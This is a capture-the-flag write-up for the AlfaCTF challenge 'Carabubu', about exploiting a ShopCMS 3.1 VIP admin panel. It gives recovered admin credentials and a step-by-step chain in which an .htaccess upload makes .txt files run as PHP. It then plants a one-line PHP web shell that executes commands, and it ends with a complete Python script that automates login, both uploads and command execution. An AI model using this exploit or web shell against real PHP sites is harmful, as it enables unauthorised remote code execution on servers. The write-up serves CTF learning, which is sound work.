Carabubu
alfactf
Task: a legacy ShopCMS 3.1 VIP instance exposed an authenticated product image upload in the admin panel, with Apache processing user-controlled files from a web directory. Solution: reuse recovered admin credentials, upload .htaccess to map .txt to PHP, place a tiny shell, then execute the helper binary /get_gift_location to obtain the real flag.
$ ls tags/ techniques/
Carabubu — AlfaCTF
Description
Carabubu
English summary: the target was a live ShopCMS 3.1 VIP shop at https://carabubu-srv-jc9ge84u.alfactf.ru/ running PHP 5.3.29 behind nginx and Apache with MySQL and windows-1251. The goal was to reach the server-side secret drop location stored behind a root-level helper and extract the real flag.
Analysis
Recon
The challenge was a legacy PHP e-commerce panel. In our solve, the published technique for recovering administrator credentials was still valid on the live instance, and it yielded:
- username:
cara - password:
bubu2026
Those credentials worked directly on /admin.php, giving access to the product management interface.
The important attack surface was the product image upload for product 1:
/admin.php?productID=1&eaction=prod
That upload path wrote files into data/small/, which was web-accessible. Because the stack was nginx -> Apache, this mattered a lot: nginx served the request, but Apache still interpreted .htaccess rules in the backend-served directory.
Vulnerability
The core issue was an authenticated arbitrary file upload in a directory where Apache configuration overrides were enabled. That let us chain two uploads:
- upload attacker-controlled
.htaccess - upload a text file containing PHP code
The .htaccess payload was:
AddType application/x-httpd-php .txt
This tells Apache to execute .txt files as PHP. Once that rule existed in data/small/, a file such as shell.txt stopped being inert text and became executable server-side code.
Practical reproduction detail
The published writeup path was reproducible on the live target, but one implementation detail differed slightly during our run:
- the image upload field
ufilenameu_12worked for the.htaccessupload, - for the PHP shell upload, the
new_filenamefield was the reliable way to landshell.txtin practice.
That difference did not change the exploit class, but it is important if you want to reproduce the attack exactly against the live instance.
Post-exploitation
After the two uploads, requesting the shell confirmed code execution:
/data/small/shell.txt?c=id
The response was:
uid=33(www-data) gid=33(www-data)
So the upload primitive became authenticated remote code execution as www-data.
The final step was not classic local privilege escalation. Instead, the challenge exposed a root-level helper binary that printed the gift location directly when executed:
/get_gift_location
Running that helper through the web shell returned the live flag.
Solution
Step 1: log in to the admin panel
Use the recovered credentials on:
/admin.php
Credentials used in the successful reproduction:
cara:bubu2026
Step 2: reach the product editor
Open the product management page for product 1:
/admin.php?productID=1&eaction=prod
This page contains the image upload functionality that writes into data/small/.
Step 3: upload .htaccess
Upload a file named .htaccess through the image upload path. In our reproduction, the upload parameter ufilenameu_12 worked.
File contents:
AddType application/x-httpd-php .txt
This makes Apache treat later .txt files in the same directory as PHP scripts.
Step 4: upload the web shell
Upload a second file as shell.txt into the same directory. In our successful reproduction, using the new_filename field for this upload was the reliable option.
Shell contents:
<?php system($_GET["c"]); ?>
Step 5: verify remote code execution
Browse to:
/data/small/shell.txt?c=id
Expected output:
uid=33(www-data) gid=33(www-data)
Step 6: execute the helper binary
Run the root-level helper via the shell:
/data/small/shell.txt?c=/get_gift_location
That command returns the final secret/coordinates, which in the live instance were the real flag.
#!/usr/bin/env python3 import io import requests BASE = "https://carabubu-srv-jc9ge84u.alfactf.ru" USERNAME = "cara" PASSWORD = "bubu2026" def main(): s = requests.Session() # Adjust the login field names if the panel differs, but these credentials # were confirmed on the live challenge instance. login_data = { "login": USERNAME, "password": PASSWORD, "submit": "Login", } r = s.post(f"{BASE}/admin.php", data=login_data, timeout=20) print("[+] Admin login response:", r.status_code) htaccess = b"AddType application/x-httpd-php .txt\n" shell = b'<?php system($_GET["c"]); ?>\n' upload_url = f"{BASE}/admin.php?productID=1&eaction=prod" # Reproduction detail: ufilenameu_12 worked for .htaccess. data1 = { "new_filename": ".htaccess", "submit": "Save", } files1 = { "ufilenameu_12": (".htaccess", io.BytesIO(htaccess), "text/plain"), } r = s.post(upload_url, data=data1, files=files1, timeout=20) print("[+] .htaccess upload status:", r.status_code) # Reproduction detail: new_filename was the reliable field for shell.txt. data2 = { "new_filename": "shell.txt", "submit": "Save", } files2 = { "ufilenameu_12": ("shell.txt", io.BytesIO(shell), "text/plain"), } r = s.post(upload_url, data=data2, files=files2, timeout=20) print("[+] shell upload status:", r.status_code) r = s.get(f"{BASE}/data/small/shell.txt", params={"c": "id"}, timeout=20) print("[+] id output:") print(r.text) r = s.get( f"{BASE}/data/small/shell.txt", params={"c": "/get_gift_location"}, timeout=20, ) print("[+] helper output:") print(r.text) if __name__ == "__main__": main()
Takeaway
For old PHP CMS targets, authenticated upload bugs are often more dangerous than they first appear. If Apache honors .htaccess inside the upload directory, a harmless-looking text upload can be converted into immediate code execution with a single AddType rule.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][Pro]Безопасное хранилище (Secure Storage)— hackerlab
- [web][Pro]board_of_secrets— miptctf
- [web][Pro]Double Shop— srdnlen
- [web][free]Six-Seven— alfactf
- [web][Pro]Звездный сейф (Star Safe)— hackerlab